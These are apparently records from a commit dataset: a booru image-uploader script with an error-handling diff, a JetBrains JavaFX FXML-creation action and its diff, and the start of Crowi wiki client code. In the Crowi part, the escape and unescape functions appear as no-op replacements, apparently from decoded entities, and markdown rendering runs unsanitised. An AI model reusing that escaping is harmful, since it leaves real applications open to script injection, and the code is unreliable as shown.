$each(selFiles, function (file) {
if (IsUploadable(file)) {
files.push(file);
}
});
SendFiles(files);
} catch (e) {
if (typeof e == 'string') {
alert('Couldn\'t upload - ' + e);
}
}
}
function IsUploadable(file) {
return (typeof file.type == 'string' ? file.type.substr(0, 6) == 'image/' : true) && /(jpe?g|gif|png|bmp)$/i.test(file.name);
}
function OnFirstUpload(files) {
SaveLastSettings();
Log('info', 'Started uploading ' + upOptions.stats.total + ' files.');
UpdateUpProgress(0);
}
function OnAllUploaded() {
var msg = 'Finished uploading; ' + upOptions.stats.success + ' uploaded ok + ' +
upOptions.stats.failed + ' failed = ' +
upOptions.stats.total + ' images total.';
var ourBooru = upOptions.uploadURL.match(/^http:\/\/([\w\d-]+)\.booru\.org\//i);
succesStore();
upOptions.running = false;
Log('info end', msg);
$set('status', '');
UpdateUpProgress(0);
if (ourBooru) {
var baseCtrUpdURL = 'http://booru.org/?action=updateimagecount&updateimagecount[booru]=';
var image = new Image();
image.src = baseCtrUpdURL + ourBooru[1] + '&rand=' + Math.random();
}
$('files').value = '';
}
function UploadOptions() {
var rating = {
when: $('forceRating').checked ? 'always' : 'default',
set: $('setSafe').checked ? 's' : $('setQuest').checked ? 'q' : 'e'
};
var tagging = {
when: $('forceTags').checked ? 'always' : 'add',
set: $get('tags').toLowerCase().split(/\s+/)
};
var auth = {
userID: GetCookie('user_id'),
ticket: GetCookie('pass_hash')
};
auth.use = (auth.userID || GetCookie('login')) && auth.ticket;
var uploadURL = document.location.protocol + '//' + document.location.hostname + boorus[current].uploadPath;
$('spinner').hide();
$('infobar').show();
$('submit').enable();
$('loggedIn').textContent = auth.use || (localStorage.getItem('auth_token') && (GetCookie('login') || GetCookie('user_name'))) ? 'logged in' : 'posting anonymously';
$('current').textContent = current;
return {
delay: 1000,
uploadURL: uploadURL,
title: $('title').checked,
rating: rating,
tagging: tagging,
source: $get('source'),
stats: {
total: 0,
success: 0,
failed: 0
},
auth: auth
};
}
function Log(className, msg) {
var now = new Date;
var line = document.createElement('div');
msg = '[' + now.getHours() + ':' + now.getMinutes() + '] ' + msg;
$show('log');
line.className = className;
line.innerHTML = msg;
$('log').appendChild(line);
}
function LogSuccess(file) {
if (localStorage.getItem(document.location.host) != engine.value) {
storEngine();
}
localStorage.setItem(document.location.host, engine.value);
upOptions.stats.success++;
if ($('onlyErrors').checked) {
return;
}
Log('success', 'Image ' + file.name + ' was successfully uploaded.');
}
function LogFailure(file, reason) {
Log('error', 'Couldn\'t upload ' + file.name + ': ' + reason + '.');
batch(file, reason);
upOptions.stats.failed++;
}
function SendFiles(files, index) {
index = index || 0;
if (index < files.length) {
if (index == 0) {
upOptions.stats.total = files.length;
OnFirstUpload(files);
}
SendFile(files[index], function () {
SendFiles(files, index + 1);
});
$set('status', 'Uploading #' + (index + 1) + ' image out of ' + files.length + '...');
} else {
OnAllUploaded();
}
}
function SendFile(file, callback) {
var reqVars = {
title: TitleFor(file),
rating: RatingFor(file),
source: upOptions.source,
submit: 'Upload',
tags: TagsFor(file),
token: localStorage.getItem('auth_token')
};
if (upOptions.auth.use) {
reqVars.cookies = 'user_id=' + upOptions.auth.userID + '; ' + 'pass_hash=' + upOptions.auth.ticket;
}
var xhr = CreateXHRequest();
xhr.onreadystatechange = function () {
if (this.readyState == 4) {
if (current == 'gelbooru') {
if (this.status == 200 || this.status == 302 || this.status == 304 /*not modified*/) {
if (~this.responseText.indexOf('generation failed')) {
LogFailure(file, 'thumbnail generation failed, image might be corrupted even if added');
}
// "mage" instead of "image" because first "I" might be capitalized.
if (~this.responseText.indexOf('mage added')) {
LogSuccess(file);
}
else if (~this.responseText.indexOf('already exists.')) {
var existId;
try {
existId = this.responseText.split('can find it ')[1].split('here')[0].split('&id=')[1].replace('">', '');
} catch (any) {}
if (!!Number(existId)) {
LogFailure(file, 'image already exists <a href="index.php?page=post&s=view&id=' + existId + '" target="_blank">here</a>')
} else {
LogFailure(file, 'image has been deleted');
}
}
else if (~this.responseText.indexOf('permission')) {
LogFailure(file, 'error, access denied. Try logging in. Stopped');
OnAllUploaded();
throw 403;
} else if (~this.responseText.indexOf('n error occured')) {
LogFailure(file, 'image too big? too small? corrupted?');
} else {
LogFailure(file, 'error, wrong response. Check your posting form URL');
}
} else {
LogFailure(file, 'error, ' + xhr.statusCode + ' ' + xhr.statusText);
}
} else {
switch (this.status) {
case 200:
LogSuccess(file);
break;
case 201:
if (current == 'danbooru') {
var uploadResult = JSON.parse(xhr.response).status;
if (uploadResult == 'completed') {
LogSuccess(file);
} else if (~uploadResult.indexOf('error:')) {
if (~uploadResult.indexOf('duplicate')) {
LogFailure(file, 'image already exists <a href="/posts/' + uploadResult.split('duplicate: ')[1] + '" target="_blank">' + uploadResult.split('duplicate: ')[1] + '</a>');
} else {
LogFailure(file, 'error, ' + uploadResult);
}
}
}
break;
case 423:
LogFailure(file, 'image already exists <a href="' + JSON.parse(xhr.response).location + '" target="_blank">' + (JSON.parse(xhr.response).post_id || 'here') + '</a>');
break;
case 403:
LogFailure(file, 'error, access denied. Try logging in. Stopped');
OnAllUploaded();
throw JSON.parse(xhr.response).reason;
break;
case 404:
LogFailure(file, 'API error, try another booru engine. Stopped');
OnAllUploaded();
throw 404;
break;
default:
if (JSON.parse(xhr.response).success === true) {
LogSuccess(file);
}
else {
LogFailure(file, 'error, ' + JSON.parse(xhr.response).reason);
}
break;
}
}
UpdateUpProgress(Math.min(upOptions.stats.success + upOptions.stats.failed, upOptions.stats.total) / upOptions.stats.total);
setTimeout(callback, upOptions.delay);
}
};
var boundary = '--bOh3aYae';
var EOLN = "\r\n";
var postVars = '';
for (var name in reqVars) {
if (boorus[current].fields[name]) {
postVars += boundary + EOLN +
'Content-Disposition: form-data; name="' + boorus[current].fields[name] + '"' + EOLN + EOLN +
reqVars[name] + EOLN;
}
}
var reader = new FileReader;
reader.onloadend = function () {
var data = boundary + EOLN +
'Content-Disposition: form-data; name="' + boorus[current].fields.file + '";' + ' filename="' + file.name + '"' + EOLN +
'Content-Type: application/octet-stream' + EOLN +
'Content-Transfer-Encoding: binary' + EOLN + EOLN +
reader.result + EOLN +
postVars + boundary + '--';
xhr.open('POST', upOptions.uploadURL);
xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary.substr(2));
xhr.setRequestHeader('Content-Length', data.length);
xhr.sendAsBinary(data);
};
reader.readAsBinaryString(file);
}
function UpdateUpProgress(percent) {
WidthOf('progress', WidthOf('progressWr') * percent);
}
function RatingFor(file) {
return InfoAbout(file)[0];
}
function TagsFor(file) {
return NormTags(InfoAbout(file)[1]);
}
function TitleFor(file) {
return InfoAbout(file)[2];
}
function InfoAbout(file) {
var fileName = file.name.toLowerCase();
var ext = fileName.match(/ *\.(\w{2,4})$/i);
var rating, tags, title;
if (ext) {
fileName = fileName.replace(ext[0], '');
}
if (!ext) {
throw 'File ' + file.name + ' has no extension.';
} else {
ext = ext[1];
}
rating = fileName.match(/^([sqe])( +|$)/i);
if (rating) {
fileName = fileName.replace(rating[0], '');
}
if (upOptions.rating.when == 'always' || !rating) {
rating = upOptions.rating.set;
} else {
rating = rating[1];
}
tags = fileName;
title = upOptions.title ? tags.split(/\s+/)[tags.split(/\s+/).length - 1] : '';
return [rating, tags, title];
}
function NormTags(tags) {
tags = tags.toLowerCase().split(/\s+/);
tags.pop();
if (tags.length >= 2) {
tags = mkUniq(tags);
}
switch (upOptions.tagging.when) {
case 'always':
tags = [];
case 'add':
tags = tags.concat(upOptions.tagging.set);
tags = mkUniq(tags);
}
if (tags[0] == '') {
tags.shift();
}
return tags.join(' ');
} | Update uploader.js | js/uploader.js | Update uploader.js | <ide><path>s/uploader.js
<ide> throw 404;
<ide> break;
<ide> default:
<del> if (JSON.parse(xhr.response).success === true) {
<del> LogSuccess(file);
<del> }
<del> else {
<del> LogFailure(file, 'error, ' + JSON.parse(xhr.response).reason);
<add> var error;
<add> try {
<add> error = JSON.parse(xhr.response);
<add> if (error.success === true) {
<add> LogSuccess(file);
<add> }
<add> else {
<add> LogFailure(file, 'error, ' + error.reason);
<add> }
<add> } catch(any) {
<add> console.log(xhr.response);
<add> LogFailure(file, 'error, see console for server response');
<ide> }
<ide> break;
<ide> } |
|
Java | apache-2.0 | cb2acb1306625a44c2af57b043d83f34d29bacdb | 0 | allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community | /*
* Copyright 2000-2016 JetBrains s.r.o.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.jetbrains.plugins.javaFX.actions;
import com.intellij.icons.AllIcons;
import com.intellij.ide.IdeView;
import com.intellij.ide.fileTemplates.FileTemplate;
import com.intellij.ide.fileTemplates.FileTemplateManager;
import com.intellij.ide.fileTemplates.actions.CreateFromTemplateActionBase;
import com.intellij.openapi.actionSystem.*;
import com.intellij.openapi.application.ReadAction;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.roots.ProjectFileIndex;
import com.intellij.openapi.roots.ProjectRootManager;
import com.intellij.openapi.util.text.StringUtil;
import com.intellij.openapi.vfs.VirtualFile;
import com.intellij.psi.JavaPsiFacade;
import com.intellij.psi.PsiDirectory;
import com.intellij.psi.PsiFile;
import com.intellij.util.PathUtil;
import org.jetbrains.annotations.NonNls;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import org.jetbrains.jps.model.java.JavaModuleSourceRootTypes;
import org.jetbrains.plugins.javaFX.JavaFXBundle;
import org.jetbrains.plugins.javaFX.fxml.JavaFxFileTypeFactory;
import java.util.Arrays;
import java.util.Collections;
import java.util.Map;
/**
* @author pdolgov
*/
public class CreateFxmlFileAction extends CreateFromTemplateActionBase {
private static final String INTERNAL_TEMPLATE_NAME = "FxmlFile.fxml";
public CreateFxmlFileAction() {
super(JavaFXBundle.message("javafx.create.new.fxml.file.title"), JavaFXBundle.message("javafx.create.new.fxml.file.description"), AllIcons.FileTypes.Xml);
}
@Override
protected FileTemplate getTemplate(Project project, PsiDirectory dir) {
return FileTemplateManager.getInstance(project).getInternalTemplate(INTERNAL_TEMPLATE_NAME);
}
@Nullable
@Override
protected Map<String, String> getLiveTemplateDefaults(DataContext dataContext, @NotNull PsiFile file) {
String packageName = ReadAction.compute(() -> {
PsiDirectory psiDirectory = file.getContainingDirectory();
if (psiDirectory != null) {
VirtualFile vDirectory = psiDirectory.getVirtualFile();
ProjectFileIndex index = ProjectRootManager.getInstance(file.getProject()).getFileIndex();
if (index.isInSourceContent(vDirectory)) {
return index.getPackageNameByDirectory(vDirectory);
}
}
return null;
});
@NonNls String name = file.getName();
name = PathUtil.getFileName(name);
if (JavaFxFileTypeFactory.FXML_EXTENSION.equals(PathUtil.getFileExtension(name))) {
name = name.substring(0, name.length() - JavaFxFileTypeFactory.FXML_EXTENSION.length() - 1);
}
name = toClassName(name);
name = !StringUtil.isEmpty(packageName) ? packageName + "." + name : name;
return Collections.singletonMap("CONTROLLER_NAME", name);
}
private static String toClassName(String name) {
int start;
for (start = 0; start < name.length(); start++) {
char c = name.charAt(start);
if (Character.isJavaIdentifierStart(c) && c != '_' && c != '$') {
break;
}
}
StringBuilder className = new StringBuilder();
boolean skip = true;
for (int i = start; i < name.length(); i++) {
char c = name.charAt(i);
if (!Character.isJavaIdentifierPart(c) || c == '_' || c == '$') {
skip = true;
continue;
}
if (skip) {
skip = false;
className.append(Character.toUpperCase(c));
}
else {
className.append(c);
}
}
return className.toString();
}
@Override
public void update(@NotNull final AnActionEvent e) {
final DataContext dataContext = e.getDataContext();
final Presentation presentation = e.getPresentation();
presentation.setEnabledAndVisible(isAvailable(dataContext));
}
private static boolean isAvailable(DataContext dataContext) {
final Project project = CommonDataKeys.PROJECT.getData(dataContext);
final IdeView view = LangDataKeys.IDE_VIEW.getData(dataContext);
if (project == null || view == null) {
return false;
}
final PsiDirectory[] directories = view.getDirectories();
if (directories.length == 0) {
return false;
}
if (JavaPsiFacade.getInstance(project).findPackage("javafx") == null) {
return false;
}
final ProjectFileIndex index = ProjectRootManager.getInstance(project).getFileIndex();
return Arrays.stream(directories)
.map(PsiDirectory::getVirtualFile)
.anyMatch(virtualFile -> index.isUnderSourceRootOfType(virtualFile, JavaModuleSourceRootTypes.PRODUCTION));
}
}
| plugins/javaFX/src/org/jetbrains/plugins/javaFX/actions/CreateFxmlFileAction.java | /*
* Copyright 2000-2016 JetBrains s.r.o.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.jetbrains.plugins.javaFX.actions;
import com.intellij.icons.AllIcons;
import com.intellij.ide.IdeView;
import com.intellij.ide.fileTemplates.FileTemplate;
import com.intellij.ide.fileTemplates.FileTemplateManager;
import com.intellij.ide.fileTemplates.actions.CreateFromTemplateActionBase;
import com.intellij.openapi.actionSystem.*;
import com.intellij.openapi.application.ReadAction;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.roots.ProjectFileIndex;
import com.intellij.openapi.roots.ProjectRootManager;
import com.intellij.openapi.util.text.StringUtil;
import com.intellij.openapi.vfs.VirtualFile;
import com.intellij.psi.JavaPsiFacade;
import com.intellij.psi.PsiDirectory;
import com.intellij.psi.PsiFile;
import com.intellij.psi.search.GlobalSearchScope;
import com.intellij.util.PathUtil;
import org.jetbrains.annotations.NonNls;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import org.jetbrains.jps.model.java.JavaModuleSourceRootTypes;
import org.jetbrains.plugins.javaFX.JavaFXBundle;
import org.jetbrains.plugins.javaFX.fxml.JavaFxCommonNames;
import org.jetbrains.plugins.javaFX.fxml.JavaFxFileTypeFactory;
import java.util.Arrays;
import java.util.Collections;
import java.util.Map;
/**
* @author pdolgov
*/
public class CreateFxmlFileAction extends CreateFromTemplateActionBase {
private static final String INTERNAL_TEMPLATE_NAME = "FxmlFile.fxml";
public CreateFxmlFileAction() {
super(JavaFXBundle.message("javafx.create.new.fxml.file.title"), JavaFXBundle.message("javafx.create.new.fxml.file.description"), AllIcons.FileTypes.Xml);
}
@Override
protected FileTemplate getTemplate(Project project, PsiDirectory dir) {
return FileTemplateManager.getInstance(project).getInternalTemplate(INTERNAL_TEMPLATE_NAME);
}
@Nullable
@Override
protected Map<String, String> getLiveTemplateDefaults(DataContext dataContext, @NotNull PsiFile file) {
String packageName = ReadAction.compute(() -> {
PsiDirectory psiDirectory = file.getContainingDirectory();
if (psiDirectory != null) {
VirtualFile vDirectory = psiDirectory.getVirtualFile();
ProjectFileIndex index = ProjectRootManager.getInstance(file.getProject()).getFileIndex();
if (index.isInSourceContent(vDirectory)) {
return index.getPackageNameByDirectory(vDirectory);
}
}
return null;
});
@NonNls String name = file.getName();
name = PathUtil.getFileName(name);
if (JavaFxFileTypeFactory.FXML_EXTENSION.equals(PathUtil.getFileExtension(name))) {
name = name.substring(0, name.length() - JavaFxFileTypeFactory.FXML_EXTENSION.length() - 1);
}
name = toClassName(name);
name = !StringUtil.isEmpty(packageName) ? packageName + "." + name : name;
return Collections.singletonMap("CONTROLLER_NAME", name);
}
private static String toClassName(String name) {
int start;
for (start = 0; start < name.length(); start++) {
char c = name.charAt(start);
if (Character.isJavaIdentifierStart(c) && c != '_' && c != '$') {
break;
}
}
StringBuilder className = new StringBuilder();
boolean skip = true;
for (int i = start; i < name.length(); i++) {
char c = name.charAt(i);
if (!Character.isJavaIdentifierPart(c) || c == '_' || c == '$') {
skip = true;
continue;
}
if (skip) {
skip = false;
className.append(Character.toUpperCase(c));
}
else {
className.append(c);
}
}
return className.toString();
}
@Override
public void update(@NotNull final AnActionEvent e) {
final DataContext dataContext = e.getDataContext();
final Presentation presentation = e.getPresentation();
presentation.setEnabledAndVisible(isAvailable(dataContext));
}
private static boolean isAvailable(DataContext dataContext) {
final Project project = CommonDataKeys.PROJECT.getData(dataContext);
final IdeView view = LangDataKeys.IDE_VIEW.getData(dataContext);
if (project == null || view == null) {
return false;
}
if (JavaPsiFacade.getInstance(project).findClass(JavaFxCommonNames.JAVAFX_SCENE_NODE, GlobalSearchScope.allScope(project)) == null) {
return false;
}
final PsiDirectory[] directories = view.getDirectories();
if (directories.length == 0) {
return false;
}
final ProjectFileIndex index = ProjectRootManager.getInstance(project).getFileIndex();
return Arrays.stream(directories)
.map(PsiDirectory::getVirtualFile)
.anyMatch(virtualFile -> index.isUnderSourceRootOfType(virtualFile, JavaModuleSourceRootTypes.PRODUCTION));
}
}
| javafx: disable create fxml action faster
IDEA-CR-62499
GitOrigin-RevId: f06bef6fe08c46feed55b4e9bc0edd78c2fb11ee | plugins/javaFX/src/org/jetbrains/plugins/javaFX/actions/CreateFxmlFileAction.java | javafx: disable create fxml action faster | <ide><path>lugins/javaFX/src/org/jetbrains/plugins/javaFX/actions/CreateFxmlFileAction.java
<ide> import com.intellij.psi.JavaPsiFacade;
<ide> import com.intellij.psi.PsiDirectory;
<ide> import com.intellij.psi.PsiFile;
<del>import com.intellij.psi.search.GlobalSearchScope;
<ide> import com.intellij.util.PathUtil;
<ide> import org.jetbrains.annotations.NonNls;
<ide> import org.jetbrains.annotations.NotNull;
<ide> import org.jetbrains.annotations.Nullable;
<ide> import org.jetbrains.jps.model.java.JavaModuleSourceRootTypes;
<ide> import org.jetbrains.plugins.javaFX.JavaFXBundle;
<del>import org.jetbrains.plugins.javaFX.fxml.JavaFxCommonNames;
<ide> import org.jetbrains.plugins.javaFX.fxml.JavaFxFileTypeFactory;
<ide>
<ide> import java.util.Arrays;
<ide> return false;
<ide> }
<ide>
<del> if (JavaPsiFacade.getInstance(project).findClass(JavaFxCommonNames.JAVAFX_SCENE_NODE, GlobalSearchScope.allScope(project)) == null) {
<add> final PsiDirectory[] directories = view.getDirectories();
<add> if (directories.length == 0) {
<ide> return false;
<ide> }
<del> final PsiDirectory[] directories = view.getDirectories();
<del> if (directories.length == 0) {
<add>
<add> if (JavaPsiFacade.getInstance(project).findPackage("javafx") == null) {
<ide> return false;
<ide> }
<ide> |
|
JavaScript | mit | e8857f0a70cb10abf87068ff96db82db80264ed1 | 0 | crowi/crowi,kyonmm/crowi,crow-misia/crowi,crowi/crowi,crowi/crowi,kyonmm/crowi,crow-misia/crowi | /* jshint browser: true, jquery: true */
/* global FB, marked */
/* Author: Sotaro KARASAWA <[email protected]>
*/
var hljs = require('highlight.js');
var jsdiff = require('diff');
var marked = require('marked');
var Crowi = {};
if (!window) {
window = {};
}
window.Crowi = Crowi;
Crowi.createErrorView = function(msg) {
$('#main').prepend($('<p class="alert-message error">' + msg + '</p>'));
};
Crowi.linkPath = function(revisionPath) {
var $revisionPath = revisionPath || '#revision-path';
var $title = $($revisionPath);
var pathData = $('#content-main').data('path');
if (!pathData) {
return ;
}
var realPath = pathData.trim();
if (realPath.substr(-1, 1) == '/') {
realPath = realPath.substr(0, realPath.length - 1);
}
var path = '';
var pathHtml = '';
var splittedPath = realPath.split(/\//);
splittedPath.shift();
splittedPath.forEach(function(sub) {
path += '/';
pathHtml += ' <a href="' + path + '">/</a> ';
if (sub) {
path += sub;
pathHtml += '<a href="' + path + '">' + sub + '</a>';
}
});
if (path.substr(-1, 1) != '/') {
path += '/';
pathHtml += ' <a href="' + path + '" class="last-path">/</a>';
}
$title.html(pathHtml);
};
Crowi.correctHeaders = function(contentId) {
// h1 ~ h6 の id 名を補正する
var $content = $(contentId || '#revision-body-content');
var i = 0;
$('h1,h2,h3,h4,h5,h6', $content).each(function(idx, elm) {
var id = 'head' + i++;
$(this).attr('id', id);
$(this).addClass('revision-head');
$(this).append('<span class="revision-head-link"><a href="#' + id +'"><i class="fa fa-link"></i></a></span>');
});
};
Crowi.revisionToc = function(contentId, tocId) {
var $content = $(contentId || '#revision-body-content');
var $tocId = $(tocId || '#revision-toc');
var $tocContent = $('<div id="revision-toc-content" class="revision-toc-content collapse"></div>');
$tocId.append($tocContent);
$('h1', $content).each(function(idx, elm) {
var id = $(this).attr('id');
var title = $(this).text();
var selector = '#' + id + ' ~ h2:not(#' + id + ' ~ h1 ~ h2)';
var $toc = $('<ul></ul>');
var $tocLi = $('<li><a href="#' + id +'">' + title + '</a></li>');
$tocContent.append($toc);
$toc.append($tocLi);
$(selector).each(function()
{
var id2 = $(this).attr('id');
var title2 = $(this).text();
var selector2 = '#' + id2 + ' ~ h3:not(#' + id2 + ' ~ h2 ~ h3)';
var $toc2 = $('<ul></ul>');
var $tocLi2 = $('<li><a href="#' + id2 +'">' + title2 + '</a></li>');
$tocLi.append($toc2);
$toc2.append($tocLi2);
$(selector2).each(function()
{
var id3 = $(this).attr('id');
var title3 = $(this).text();
var $toc3 = $('<ul></ul>');
var $tocLi3 = $('<li><a href="#' + id3 +'">' + title3 + '</a></li>');
$tocLi2.append($toc3);
$toc3.append($tocLi3);
});
});
});
};
Crowi.escape = function(s) {
s = s.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/'/g, ''')
.replace(/"/g, '"')
;
return s;
};
Crowi.unescape = function(s) {
s = s.replace(/ /g, ' ')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/'/g, '\'')
.replace(/"/g, '"')
;
return s;
};
Crowi.getRendererType = function() {
return new Crowi.rendererType.markdown();
};
Crowi.rendererType = {};
Crowi.rendererType.markdown = function(){};
Crowi.rendererType.markdown.prototype = {
render: function(contentText) {
marked.setOptions({
gfm: true,
highlight: function (code, lang, callback) {
var result, hl;
if (lang) {
try {
hl = hljs.highlight(lang, code);
result = hl.value;
} catch (e) {
result = code;
}
} else {
//result = hljs.highlightAuto(code);
//callback(null, result.value);
result = code;
}
return callback(null, result);
},
tables: true,
breaks: true,
pedantic: false,
sanitize: false,
smartLists: true,
smartypants: false,
langPrefix: 'lang-'
});
var contentHtml = Crowi.unescape(contentText);
// TODO 前処理系のプラグイン化
contentHtml = this.preFormatMarkdown(contentHtml);
contentHtml = this.expandImage(contentHtml);
contentHtml = this.link(contentHtml);
var $body = this.$revisionBody;
// Using async version of marked
marked(contentHtml, {}, function (err, content) {
if (err) {
throw err;
}
$body.html(content);
});
},
preFormatMarkdown: function(content){
var x = content
.replace(/^(#{1,})([^\s]+)?(.*)$/gm, '$1 $2$3') // spacer for section
.replace(/>[\s]*\n>[\s]*\n/g, '> <br>\n> \n');
return x;
},
link: function (content) {
return content
//.replace(/\s(https?:\/\/[\S]+)/g, ' <a href="$1">$1</a>') // リンク
.replace(/\s<((\/[^>]+?){2,})>/g, ' <a href="$1">$1</a>') // ページ間リンク: <> でかこまれてて / から始まり、 / が2個以上
;
},
expandImage: function (content) {
return content.replace(/\s(https?:\/\/[\S]+\.(jpg|jpeg|gif|png))/g, ' <a href="$1"><img src="$1" class="auto-expanded-image"></a>');
}
};
Crowi.renderer = function (contentText, revisionBody) {
var $revisionBody = revisionBody || $('#revision-body-content');
this.contentText = contentText;
this.$revisionBody = $revisionBody;
this.format = 'markdown'; // とりあえず
this.renderer = Crowi.getRendererType();
this.renderer.$revisionBody = this.$revisionBody;
};
Crowi.renderer.prototype = {
render: function() {
this.renderer.render(this.contentText);
}
};
// original: middleware.swigFilter
Crowi.userPicture = function (user) {
if (!user) {
return '/images/userpicture.png';
}
if (user.image && user.image != '/images/userpicture.png') {
return user.image;
} else if (user.fbId) {
return '//graph.facebook.com/' + user.fbId + '/picture?size=square';
} else {
return '/images/userpicture.png';
}
};
$(function() {
var pageId = $('#content-main').data('page-id');
var revisionId = $('#content-main').data('page-revision-id');
var revisionCreatedAt = $('#content-main').data('page-revision-created');
var currentUser = $('#content-main').data('current-user');
var isSeen = $('#content-main').data('page-is-seen');
var pagePath= $('#content-main').data('path');
Crowi.linkPath();
$('[data-toggle="tooltip"]').tooltip();
$('[data-tooltip-stay]').tooltip('show');
$('.copy-link').on('click', function () {
$(this).select();
});
$('#createMemo').on('shown.bs.modal', function (e) {
$('#memoName').focus();
});
$('#createMemoForm').submit(function(e)
{
var prefix = $('[name=memoNamePrefix]', this).val();
var name = $('[name=memoName]', this).val();
if (name === '') {
prefix = prefix.slice(0, -1);
}
top.location.href = prefix + name;
return false;
});
$('#renamePage').on('shown.bs.modal', function (e) {
$('#newPageName').focus();
});
$('#renamePageForm').submit(function(e) {
$.ajax({
type: 'POST',
url: '/_api/pages.rename',
data: $('#renamePageForm').serialize(),
dataType: 'json'
}).done(function(res) {
if (!res.ok) {
$('#newPageNameCheck').html('<i class="fa fa-times-circle"></i> ' + res.error);
$('#newPageNameCheck').addClass('alert-danger');
} else {
var page = res.page;
var path = $('#pagePath').html();
$('#newPageNameCheck').removeClass('alert-danger');
$('#newPageNameCheck').html('<img src="/images/loading_s.gif"> 移動しました。移動先にジャンプします。');
setTimeout(function() {
top.location.href = page.path + '?renamed=' + path;
}, 1000);
}
});
return false;
});
$('#create-portal-button').on('click', function(e) {
$('.portal').removeClass('hide');
$('.content-main').addClass('on-edit');
$('.portal a[data-toggle="tab"][href="#edit-form"]').tab('show');
var path = $('.content-main').data('path');
if (path != '/' && $('.content-main').data('page-id') == '') {
var upperPage = path.substr(0, path.length - 1);
$.get('/_api/pages.get', {path: upperPage}, function(res) {
if (res.ok && res.page) {
$('#portal-warning-modal').modal('show');
}
});
}
});
$('#portal-form-close').on('click', function(e) {
$('.portal').addClass('hide');
$('.content-main').removeClass('on-edit');
return false;
});
// list-link
$('.page-list-link').each(function() {
var $link = $(this);
var text = $link.text();
var path = $link.data('path');
var shortPath = $link.data('short-path');
var escape = function(s) {
return s.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&');
};
var pattern = escape(shortPath) + '(/)?$';
$link.html(path.replace(new RegExp(pattern), '<strong>' + shortPath + '$1</strong>'));
});
if (pageId) {
// if page exists
var $rawTextOriginal = $('#raw-text-original');
if ($rawTextOriginal.length > 0) {
var renderer = new Crowi.renderer($('#raw-text-original').html());
renderer.render();
Crowi.correctHeaders('#revision-body-content');
Crowi.revisionToc('#revision-body-content', '#revision-toc');
}
// header
var $header = $('#page-header');
if ($header.length > 0) {
var headerHeight = $header.outerHeight(true);
$('.header-wrap').css({height: (headerHeight + 16) + 'px'});
$header.affix({
offset: {
top: function() {
return headerHeight + 86; // (54 header + 16 header padding-top + 16 content padding-top)
}
}
});
$('[data-affix-disable]').on('click', function(e) {
$elm = $($(this).data('affix-disable'));
$(window).off('.affix');
$elm.removeData('affix').removeClass('affix affix-top affix-bottom');
return false;
});
}
// omg
function createCommentHTML(revision, creator, comment, commentedAt) {
var $comment = $('<div>');
var $commentImage = $('<img class="picture picture-rounded">')
.attr('src', Crowi.userPicture(creator));
var $commentCreator = $('<div class="page-comment-creator">')
.text(creator.username);
var $commentRevision = $('<a class="page-comment-revision label">')
.attr('href', '?revision=' + revision)
.text(revision.substr(0,8));
if (revision !== revisionId) {
$commentRevision.addClass('label-default');
} else {
$commentRevision.addClass('label-primary');
}
var $commentMeta = $('<div class="page-comment-meta">')
.text(commentedAt + ' ')
.append($commentRevision);
var $commentBody = $('<div class="page-comment-body">')
.html(comment.replace(/(\r\n|\r|\n)/g, '<br>'));
var $commentMain = $('<div class="page-comment-main">')
.append($commentCreator)
.append($commentBody)
.append($commentMeta)
$comment.addClass('page-comment');
if (creator._id === currentUser) {
$comment.addClass('page-comment-me');
}
if (revision !== revisionId) {
$comment.addClass('page-comment-old');
}
$comment
.append($commentImage)
.append($commentMain);
return $comment;
}
// get comments
var $pageCommentList = $('.page-comments-list');
var $pageCommentListNewer = $('#page-comments-list-newer');
var $pageCommentListCurrent = $('#page-comments-list-current');
var $pageCommentListOlder = $('#page-comments-list-older');
var hasNewer = false;
var hasOlder = false;
$.get('/_api/comments.get', {page_id: pageId}, function(res) {
if (res.ok) {
var comments = res.comments;
$.each(comments, function(i, comment) {
var commentContent = createCommentHTML(comment.revision, comment.creator, comment.comment, comment.createdAt);
if (comment.revision == revisionId) {
$pageCommentListCurrent.append(commentContent);
} else {
if (Date.parse(comment.createdAt)/1000 > revisionCreatedAt) {
$pageCommentListNewer.append(commentContent);
hasNewer = true;
} else {
$pageCommentListOlder.append(commentContent);
hasOlder = true;
}
}
});
}
}).fail(function(data) {
}).always(function() {
if (!hasNewer) {
$('.page-comments-list-toggle-newer').hide();
}
if (!hasOlder) {
$pageCommentListOlder.addClass('collapse');
$('.page-comments-list-toggle-older').hide();
}
});
// post comment event
$('#page-comment-form').on('submit', function() {
$button = $('#commenf-form-button');
$button.attr('disabled', 'disabled');
$.post('/_api/comments.add', $(this).serialize(), function(data) {
$button.removeAttr('disabled');
if (data.ok) {
var comment = data.comment;
$pageCommentList.prepend(createCommentHTML(comment.revision, comment.creator, comment.comment, comment.createdAt));
$('#comment-form-comment').val('');
$('#comment-form-message').text('');
} else {
$('#comment-form-message').text(data.error);
}
}).fail(function(data) {
if (data.status !== 200) {
$('#comment-form-message').text(data.statusText);
}
});
return false;
});
// attachment
var $pageAttachmentList = $('.page-attachments ul');
$.get('/_api/attachment/page/' + pageId, function(res) {
var attachments = res.data.attachments;
